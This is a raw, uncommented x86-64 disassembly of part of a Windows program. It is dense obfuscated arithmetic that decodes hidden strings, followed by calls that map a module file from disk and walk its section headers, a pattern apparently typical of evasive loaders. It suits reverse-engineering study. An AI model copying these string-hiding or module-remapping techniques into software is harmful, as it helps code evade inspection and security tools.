jbe 0x140138240
lea rax, [r9 + 0x400]
cmp rbx, rax
je 0x140138221
lea rbx, [r9 + 0x400]
lea rax, [rbx + 0x800]
cmp rbx, rax
jb 0x1401386bb
add rbx, 0x800
lea r9, [rbx + 0x400]
lea rax, [r9 + 0x400]
cmp rbx, rax
ja 0x140138212
lea rax, [r9 + 3]
cmp rbx, rax
ja 0x1401381f2
lea rbx, [r9 + 3]
lea r9, [rbx + 3]
jmp 0x1401381a2
movabs rdi, 0x69a7ac3a65fae00
add rdi, r10
mov al, dil
and al, r8b
add al, al
sub dil, al
add dil, r8b
jmp 0x140138599
movabs rcx, 0xf2bde734c97e0c00
jmp 0x1401382fe
movabs rcx, 0x2231d9d8ba3ce700
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
jmp 0x14013860e
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x1401382f2
lea rcx, [r10 + r14]
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x80
add cl, r8b
lea rax, [rbx + r9]
cmp rax, 0x10
je 0x140138577
lea rax, [r9 + 0x10]
cmp rbx, rax
jbe 0x140138396
movabs rcx, 0x2ee3ca42a870e680
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x80
add cl, r8b
cmp rbx, 0x10
jae 0x140138519
lea rax, [r9 + 0x10]
cmp rbx, rax
jbe 0x140138471
movabs rcx, 0x9729d0f0b0117900
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
cmp r9, 0x10
jb 0x140138509
movabs rcx, 0xfa78b2bb0079a300
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea edi, [rcx + rcx]
jmp 0x14013860e
jne 0x140138313
movabs rcx, 0xd08c0d5c0f412500
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
jmp 0x1401386a4
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x14013833b
movabs rcx, 0xda7a57237db1f600
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
jmp 0x140138657
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x140138364
movabs rcx, 0xc21c808a5e60b00
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
jmp 0x140138635
mov cl, dil
lea rax, [r9 + 8]
cmp rbx, rax
jne 0x140138260
movabs rdx, 0x1ffe5b9782c7ad00
add rdx, r10
mov cl, r8b
and cl, dl
add cl, cl
mov dil, r8b
sub dil, cl
add dil, dl
jmp 0x14013860e
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1401383bf
movabs rdx, 0x38d2140a16e1b780
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x80
jmp 0x14013838e
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1401383eb
movabs rcx, 0x4caea798f3c35980
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x80
jmp 0x140138635
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x140138418
movabs rcx, 0x6a7984ef3f15cc80
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x80
jmp 0x140138565
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x140138444
movabs rcx, 0x7467ceb6ad869d80
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x80
jmp 0x140138599
lea rax, [r9 + 8]
cmp rbx, rax
jne 0x140138297
movabs rcx, 0x884462458a683f80
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
jmp 0x1401386a0
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x140138489
movabs rcx, 0xa1181ab81e824a00
jmp 0x1401382fe
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1401384ad
movabs rcx, 0xb4f4ae46fb63ec00
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
jmp 0x140138595
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x1401384d5
movabs rdx, 0xd2bf8b9d46b65f00
add rdx, r10
mov cl, r8b
and cl, dl
add cl, cl
mov dil, r8b
sub dil, cl
add dil, dl
jmp 0x140138539
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401384ed
movabs rcx, 0xdcadd564b5273000
jmp 0x14013834e
lea rax, [r9 + 8]
cmp rbx, rax
jne 0x1401382c7
movabs rdx, 0xf08a68f39208d200
jmp 0x14013837e
mov byte [rbp + r10 + 0x340], cl
mov dil, cl
jmp 0x1401386b3
movabs rdx, 0x466fc826eea7400
add rdx, r10
mov al, dl
and al, r8b
add al, al
mov dil, r8b
sub dil, al
add dil, dl
add dil, r8b
movabs rcx, 0x95e21662622dc80
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
add r8b, 0x80
add r8b, cl
add r8b, dil
mov byte [rbp + r10 + 0x340], r8b
add rbx, r9
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r10, rcx
jmp 0x1401386b3
movabs rcx, 0xe554649dd5b4500
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, byte [rbp + r10 + 0x340]
lea edi, [r8 + rcx]
movabs rdx, 0x134c6b2d9493ad80
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, 0x80
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x340], al
add r9, r15
add rax, r9
sub r10, rax
jmp 0x140138657
movabs rcx, 0x7c229a3ce4823480
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x80
jmp 0x140138632
movabs rcx, 0x7234507576116380
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x80
movabs rcx, 0xff6fd79eb7b20b80
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x80
add cl, r8b
mov byte [rbp + r10 + 0x340], cl
add r9, r15
sub r10, r15
jmp 0x1401386b3
movabs rcx, 0x18d3b872941a0a80
add rcx, r10
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x80
movabs rcx, 0x184390114bcc1600
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
add r8b, cl
mov byte [rbp + r10 + 0x340], r8b
add rbx, r15
mov rax, r12
sub rax, rbx
add r10, rax
jmp 0x1401386a4
movabs rcx, 0xee56eab25a93980
add rcx, r10
mov al, dl
and al, cl
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x80
movzx eax, byte [rbp + r10 + 0x340]
add rax, r9
add r10, rax
add r10, r15
jmp 0x1401380f8
movabs rcx, 0x8a77e086c1dd7980
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x80
jmp 0x1401380e3
lea rcx, [rbp + 0x1663940]
jmp 0x1401386f8
lea rcx, [rbp + 0x15ea1c0]
jmp 0x1401386f8
lea rcx, [rbp + 0x340]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp - 0x48], rax
mov r9d, Ordinal_27
lea r8, [rbp + 0x1180]
mov rdx, rax
mov rcx, rsi
call sub.KERNEL32.dll_K32GetModuleInformation
mov rsi, qword [rbp + 0x1180]
mov qword [rbp - 0x50], rsi
mov byte [rbp + 0x5b0], 0xb3
mov byte [rbp + 0x5b1], 0x9b
mov byte [rbp + 0x5b2], 0xb8
mov byte [rbp + 0x5b3], 0x62
mov byte [rbp + 0x5b4], __WSAFDIsSet
mov byte [rbp + 0x5b5], 0x9b
mov byte [rbp + 0x5b6], Ordinal_143
mov byte [rbp + 0x5b7], 0x9e
mov byte [rbp + 0x5b8], 0x67
mov byte [rbp + 0x5b9], 0x98
mov byte [rbp + 0x5ba], 0x80
mov byte [rbp + 0x5bb], __WSAFDIsSet
mov byte [rbp + 0x5bc], WSASetLastError
mov byte [rbp + 0x5bd], __WSAFDIsSet
mov byte [rbp + 0x5be], __WSAFDIsSet
mov byte [rbp + 0x5bf], 0x9c
mov byte [rbp + 0x5c0], __WSAFDIsSet
mov byte [rbp + 0x5c1], Ordinal_211
mov byte [rbp + 0x5c2], Ordinal_211
mov byte [rbp + 0x5c3], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x5c4], 0x88
mov byte [rbp + 0x5c5], Ordinal_143
mov byte [rbp + 0x5c6], 0x9c
mov byte [rbp + 0x5c7], 0x83
mov byte [rbp + 0x5c8], 0x82
mov byte [rbp + 0x5c9], Ordinal_211
mov byte [rbp + 0x5ca], 0x98
mov byte [rbp + 0x5cb], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x5cc], Ordinal_143
mov byte [rbp + 0x5cd], 0xf1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x5ce], xmm0
mov byte [rbp + 0x5de], al
movabs r14, 0xcae032bf384252dd
mov dil, byte [rsp + 0x50]
call fcn.1401abe8c
mov rbx, qword [rax]
call fcn.1401abe94
mov r9, qword [rax]
xor eax, eax
mov r10d, eax
cmp r10, 0x2f
jae 0x140139028
movzx r8d, byte [rbp + r10 + 0x5b0]
mov edx, r8d
cmp rbx, r10
ja 0x14013901f
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x14013886f
lea rcx, [r10 + r14]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0xb
jmp 0x14013888f
je 0x140138f9d
lea rax, [r9 + 2]
cmp rbx, rax
je 0x140138f4a
lea rax, [r9 + 7]
cmp rbx, rax
je 0x140138f27
cmp r9, r10
ja 0x140139016
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x1401388bf
movabs rcx, 0xa46429af9d70cc21
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x19
add cl, r8b
jmp 0x1401388fc
je 0x140138ee0
lea rax, [r9 + 2]
cmp rbx, rax
je 0x140138ec0
lea rax, [r9 + 5]
cmp rbx, rax
je 0x140138e90
lea rax, [r9 + 7]
cmp rbx, rax
je 0x140138e3b
lea rax, [r9 + 3]
cmp rbx, rax
je 0x140138e18
mov cl, dil
lea rax, [rbx + r9]
cmp rax, r10
jbe 0x140138aab
lea rax, [r9 + 9]
cmp rbx, rax
je 0x140138a84
lea rax, [r9 + 0x80]
cmp rbx, rax
je 0x140138a5d
lea rax, [r9 + 0x2a]
cmp rbx, rax
je 0x140138a3c
lea rax, [r9 + 0x200]
cmp rbx, rax
je 0x140138a19
lea rbx, [r9 + 0x61]
lea r9, [rbx + 0x200]
lea rax, [r9 + 0x40]
cmp rbx, rax
jb 0x140138ff3
lea rax, [r9 + 0x61]
cmp rbx, rax
jb 0x140138fd0
lea rax, [r9 + 5]
cmp rbx, rax
jb 0x1401389fb
lea rbx, [r9 + 1]
lea r9, [rbx + 0x40]
lea rax, [r9 + 0xa]
cmp rbx, rax
ja 0x1401389e7
lea rax, [r9 + 1]
cmp rbx, rax
ja 0x1401389d3
lea rax, [r9 + 0x3e8]
cmp rbx, rax
ja 0x1401389ab
lea rbx, [r9 + 0x7a]
lea r9, [rbx + 0x3e8]
jmp 0x140138909
movabs rcx, 0xcc1fb7832973ca20
add rcx, r10
mov al, cl
and al, r8b
mov edi, reloc.WS2_32.dll_recv
sub dil, al
add dil, dil
add dil, cl
add dil, r8b
jmp 0x140138de4
movabs rdx, 0xade8707d7e5d8f2
mov ecx, Ordinal_50
jmp 0x140138bb6
movabs rdx, 0x751e218967613338
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x140138b86
movabs rcx, 0xe8fcbe4edd90ef2d
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x3b
jmp 0x140138b39
movabs rcx, 0xda58fa1db0a4c8c6
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6a
jmp 0x140138fb9
movabs rdx, 0xed96fea57e0d8c24
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
jmp 0x140138db5
movabs rdx, 0xc21633a89d0440b0
add rdx, r10
mov al, dl
and al, r8b
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140138f22
movabs rdx, 0x2c55ce2a2c7f9af6
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140138efe
lea rax, [r9 + 0x10]
cmp rbx, rax
jae 0x140138b6e
lea rcx, [r10 + r14]
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0xb
add cl, r8b
lea rax, [r9 + rbx]
cmp rax, 0x41
je 0x140138dec
lea rax, [r9 + 0x400]
cmp rbx, rax
jbe 0x140138c2a
movabs rcx, 0x576c179067cdbea9
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x61
add cl, r8b
cmp rbx, 3
jae 0x140138d92
lea rax, [r9 + 0x5a]
cmp rbx, rax
jbe 0x140138d0a
movabs rdx, 0xfbd04140053e8aca
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 0x3d
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
cmp r9, 9
jb 0x140138d82
movabs rcx, 0xd55438306a6d040e
add rcx, r10
mov al, cl
and al, r8b
mov edx, reloc.WS2_32.dll_ntohs
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x140138efe
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x140138b9e
movabs rdx, 0x48c8535f3ae19842
mov ecx, Ordinal_27
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140138fb9
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x140138bce
movabs rdx, 0xde88b8ddab663dfc
mov ecx, reloc.WS2_32.dll_ntohl
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140138f67
lea rax, [r9 + 6]
cmp rbx, rax
jne 0x140138bfa
movabs rcx, 0x358a4ed76d78d4e4
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x3c
jmp 0x140138dbb
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x140138acb
movabs rcx, 0xcb4ab455ddfd7a9e
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x52
jmp 0x140138f45
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x140138c56
movabs rcx, 0xed2c7d0ed8526463
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x4b
jmp 0x140138efe
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x140138c82
movabs rcx, 0x18ad480bb95bafd7
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x1f
jmp 0x140138f45
lea rax, [r9 + 4]
cmp rbx, rax
jne 0x140138cae
movabs rcx, 0xd9ee78870ae9a105
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x23
jmp 0x140138eae
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x140138cda
movabs rcx, 0x6faede057b6e46bf
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x39
jmp 0x140138e59
lea rax, [r9 + 6]
cmp rbx, rax
jne 0x140138b05
movabs rcx, 0x9b2fa9025c779233
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x65
jmp 0x140138fb9
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x140138d27
movabs rdx, 0x9190a6be75c33084
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x140138b86
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x140138d51
movabs rdx, 0xbd1171bb56cc7bf8
add rdx, r10
mov al, dl
and al, r8b
mov ecx, Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
jmp 0x140138e10
lea rax, [r9 + 4]
cmp rbx, rax
jne 0x140138b3c
movabs rdx, 0xe8923cb837d5c76c
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x1401389cb
mov byte [rbp + r10 + 0x5b0], cl
mov dil, cl
jmp 0x140138fc8
movabs rdx, 0x6b149daedaf1a9c8
add rdx, r10
mov al, dl
and al, r8b
add al, al
mov dil, byte [rbp + r10 + 0x5b0]
sub dil, al
sub dil, 0x78
add dil, dl
add dil, r8b
movabs rdx, 0x35f4d06e1333fca5
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov cl, dil
sub cl, al
add cl, 0x7d
add cl, r8b
add cl, dl
mov byte [rbp + r10 + 0x5b0], cl
add rbx, r9
jmp 0x140138eae
movabs rdx, 0xd5032d4b764f82
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r10 + 0x5b0]
add dil, dl
add dil, r8b
jmp 0x140138e59
movabs rcx, 0xe827bb21921a9fab
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x53
jmp 0x140138fb9
movabs rcx, 0xbca6f024b1115437
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x7f
movabs rdx, 0xcbb535ec83b8a25f
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, 0x67
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x5b0], al
add r9, r15
add rax, r9
sub r10, rax
jmp 0x140138f67
movabs rcx, 0x26e68aa6408cae7d
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6b
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r10, rcx
jmp 0x140138fc8
movabs rcx, 0x65a55a2aeefebd4f
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x29
jmp 0x140138f45
movabs rcx, 0x3a248f2e0df571db
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 3
movabs rcx, 0xa0346aefa2af56eb
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x6d
add cl, r8b
mov byte [rbp + r10 + 0x5b0], cl
add r9, r15
jmp 0x140138f45
movabs rcx, 0xe322f9344be2daf3
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x5b
sub r10, r15
jmp 0x140138fc8
movabs rcx, 0xf660fdbc194b9e51
add rcx, r10
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x37
movabs rdx, 0x969568abbbfaf53c
add rdx, r10
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r10 + 0x5b0], cl
add rbx, r15
mov rax, r12
sub rax, rbx
add r10, rax
jmp 0x140138fb9
movabs rcx, 0x60a0983da8c6f897
add rcx, r10
mov al, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x21
movzx eax, byte [rbp + r10 + 0x5b0]
add rax, r9
add r10, rax
add r10, r15
jmp 0x14013882d
movabs rcx, 0x667a5d583a750cd1
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x49
jmp 0x140138828
movabs rcx, 0xd0b9f7d9c9f06717
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x5f
jmp 0x140138818
lea rcx, [rbp + 0x14fb22c]
jmp 0x14013902f
lea rcx, [rbp + 0xd20509]
jmp 0x14013902f
lea rcx, [rbp + 0x5b0]
xor eax, eax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, r15d
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r13, rax
mov qword [rbp - 0x58], rax
xor eax, eax
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor edx, edx
mov r8d, 0x1000002
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov qword [rbp - 0x68], rax
xor ecx, ecx
mov qword [rsp + 0x20], rcx
xor r9d, r9d
xor r8d, r8d
lea edx, [rcx + 4]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov r12, rax
movsxd r14, dword [rsi + 0x3c]
add r14, rsi
xor eax, eax
movzx r15d, ax
cmp ax, word [r14 + 6]
jae 0x140139d3e
mov dil, byte [rsp + 0x50]
movzx eax, r15w
lea rsi, [rax*4 + 3]
movzx ecx, word [r14 + 0x14]
add rcx, r14
add rsi, rax
lea rsi, [rcx + rsi*8]
mov byte [rbp + 0x360], 0x54
mov byte [rbp + 0x361], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x362], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x363], reloc.WS2_32.dll_send
mov byte [rbp + 0x364], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x365], 0xa9
xor eax, eax
mov qword [rbp + 0x366], rax
mov word [rbp + 0x36e], ax
mov byte [rbp + 0x370], al
call fcn.1401abe8c
mov rbx, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x11
jae 0x140139ca6
movzx r8d, byte [rbp + r9 + 0x360]
mov rdx, r8
cmp rbx, r9
ja 0x140139c9d
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x140139172
movabs r11, 0xb822fc2bccc844c5
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0x63
jmp 0x14013919c
je 0x140139c14
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140139bb9
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140139b67
movabs r11, 0xb822fc2bccc844c5
cmp r10, r9
ja 0x140139c94
lea rax, [r10 + 0x200]
cmp rbx, rax
jae 0x1401391d4
movabs rdx, 0x1adeaf97cc6da429
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x1f
jmp 0x1401393de
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140139b47
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140139b22
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140139aff
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x1401397bc
lea rax, [r10 + 0x61]
cmp rbx, rax
je 0x140139795
lea rax, [r10 + 0xa]
cmp rbx, rax
je 0x140139772
lea rax, [r10 + 6]
cmp rbx, rax
je 0x14013974e
lea rax, [r10 + 0x400]
cmp rbx, rax
je 0x14013973a
lea rax, [r10 + 0x80]
cmp rbx, rax
je 0x140139713
lea rax, [r10 + 4]
cmp rbx, rax
je 0x1401396ef
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1401396cc
lea rax, [r10 + 0x42]
cmp rbx, rax
je 0x1401396a8
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140139681
lea rax, [r10 + 0x5a]
cmp rbx, rax
je 0x140139208
lea rbx, [r10 + 0x10]
lea r10, [rbx + 0x28]
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x140139c70
lea rax, [r10 + 0x20]
cmp rbx, rax
jb 0x140139c4c
lea rax, [r10 + 9]
cmp rbx, rax
jb 0x14013940c
lea rax, [r10 + 0x61]
cmp rbx, rax
jb 0x1401393e6
lea rax, [r10 + 0x3e8]
cmp rbx, rax
jb 0x1401393c0
lea rax, [r10 + 6]
cmp rbx, rax
jb 0x1401395b5
lea rax, [r10 + 3]
cmp rbx, rax
jb 0x140139595
lea rax, [r10 + 0x80]
cmp rbx, rax
jb 0x140139572
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x140139546
lea rax, [r10 + 1]
cmp rbx, rax
jb 0x140139208
lea rbx, [r10 + 0x28]
lea r10, [rbx + 0x42]
lea rax, [r10 + 0x2a]
cmp rbx, rax
ja 0x140139532
lea rax, [r10 + 0x7a]
cmp rbx, rax
ja 0x14013951e
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x1401394fb
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x1401394d7
lea rax, [r10 + 0x1000]
cmp rbx, rax
ja 0x1401394c3
lea rax, [r10 + 9]
cmp rbx, rax
ja 0x14013949f
lea rax, [r10 + 5]
cmp rbx, rax
ja 0x14013947b
lea rax, [r10 + 0x3e8]
cmp rbx, rax
ja 0x140139458
lea rax, [r10 + 0x64]
cmp rbx, rax
ja 0x140139431
lea rax, [r10 + 3]
cmp rbx, rax
ja 0x140139208
lea rbx, [r10 + 0x42]
lea r10, [rbx + 0x80]
jmp 0x140139208
movabs rdx, 0xfafeebc830bd56f7
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x3f
add dil, dl
jmp 0x1401391fb
movabs rdx, 0x8ab8f370972ccd6d
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 5
add dil, dl
jmp 0x14013919c
movabs rdx, 0x1a72fb18fd9c43e3
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dl, 0x35
add dil, dl
jmp 0x140139139
movabs rdx, 0xd6f57cbe636d2148
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140139b85
movabs rcx, 0x66af8466c9dc97be
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x32
jmp 0x140139ba9
movabs rcx, 0xf6698c0f304c0e34
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x6c
jmp 0x140139b40
movabs rdx, 0x862393b796bb84aa
mov ecx, reloc.WLDAP32.dll_Ordinal_45
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x140139bd7
movabs rdx, 0x15dd9b5ffd2afb20
mov ecx, reloc.WS2_32.dll_recv
jmp 0x140139722
movabs rcx, 0xa597a308639a7196
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x1a
jmp 0x140139c04
movabs rdx, 0x3551aab0ca09e80c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x54
jmp 0x140139a90
movabs rdx, 0xc50bb25930795e82
mov ecx, reloc.WS2_32.dll_gethostname
jmp 0x1401396b7
movabs rdx, 0x54c5ba0196e8d4f8
mov ecx, Ordinal_32
jmp 0x140139690
movabs rcx, 0xbc16cd2696ff7d1f
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x27
mov byte [rbp + r9 + 0x360], dil
jmp 0x140139c3f
movabs rdx, 0x4bd0d4cefd6ef395
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x13
jmp 0x140139648
movabs rdx, 0xdb8adc7763de6a0b
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x4d
jmp 0x14013960f
movabs rdx, 0x6b44e41fca4de081
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x79
add dil, dl
lea rax, [r10 + rbx]
cmp rax, 0x7a
je 0x140139a69
lea rax, [r10 + 9]
cmp rbx, rax
jbe 0x14013989c
movabs rdx, 0xe056166fcbb862f1
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x69
add dil, dl
cmp rbx, 0x5a
jae 0x140139a3b
lea rax, [r10 + 0x10]
cmp rbx, rax
jbe 0x1401399ad
movabs rdx, 0xfb34c6079826071a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
mov eax, 1
cmp r10, rax
jb 0x140139565
movabs rcx, 0x5df0797397cb667e
add rcx, r9
mov al, cl
and al, r8b
mov edx, 7
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x140139b85
movabs rdx, 0xa1381d8eca91d8f6
mov ecx, reloc.WLDAP32.dll_Ordinal_35
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140139c30
